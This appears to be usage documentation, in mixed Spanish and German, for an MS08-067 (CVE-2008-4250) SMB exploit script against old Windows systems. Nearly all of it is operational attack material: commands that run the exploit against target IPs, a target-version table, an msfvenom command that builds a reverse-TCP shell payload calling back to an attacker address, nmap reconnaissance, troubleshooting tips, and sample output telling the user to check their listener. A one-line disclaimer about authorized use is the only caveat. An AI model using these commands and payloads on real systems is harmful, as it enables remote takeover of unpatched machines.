
MS08-067 | CVE-2008-4250
python3 Exploit_MS08-067.py <IP_VÍCTIMA> <VERSIÓN_OS> [OPCIONES]
python3 Exploit_MS08-067.py 192.168.1.100 1
python3 Exploit_MS08-067.py 192.168.1.150 4 -p 139
python3 Exploit_MS08-067.py 192.168.1.200 6 -s /ruta/mishellcode.bin
| Parameter | Beschreibung | Gültige Werte |
|---|---|---|
IP_VÍCTIMA | IP des Ziels | Beliebige IPv4 |
VERSIÓN_OS | Version des verwundbaren Betriebssystems | 1-7 (siehe Tabelle) |
| Wert | Betriebssystem | Architektur |
|---|---|---|
| 1 | Windows XP SP0/SP1 Universal | x86 |
| 2 | Windows 2000 Universal | x86 |
| ... | ... | ... |
| Option | Beschreibung | Default |
|---|---|---|
-p/--port | SMB-Port (445/139) | 445 |
-t/--timeout | Timeout in Sekunden | 5 |
-s/--shellcode | Pfad zu benutzerdefiniertem Shellcode | None |
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.201 LPORT=4484 \
EXITFUNC=thread -b "\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40" -f py -v shellcode \
-a x86 --platform windows
nmap -p 139,445 --script smb-os-discovery <IP_VÍCTIMA>
STATUS_OBJECT_NAME_NOT_FOUNDÜberprüfen, ob der Browser-Dienst aktiv ist:
nmap -p 445 --script smb-enum-shares <IP>
Versuchen Sie es mit einem anderen Pipe (ändern Sie das Skript):
# Cambiar \\pipe\\browser por \\pipe\\srvsvc
\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40 msfvenom -p windows/exec CMD="calc.exe" -f raw | xxd | grep -E "00|0a|0d|5c|5f|2f|2e|40"
✅ Nur in autorisierten Umgebungen verwenden
❌ Niemals ohne Erlaubnis in Produktionssystemen
[*] Targeting 192.168.1.100 | OS: 1 | Port: 445
[+] Connected to 192.168.1.100 on port 445
[*] Sending exploit...
[+] Exploit finished - Check your listener!
⚠️ Hinweis: Dieser Exploit funktioniert nicht auf Systemen, die mit dem Bulletin MS08-067 gepatcht wurden.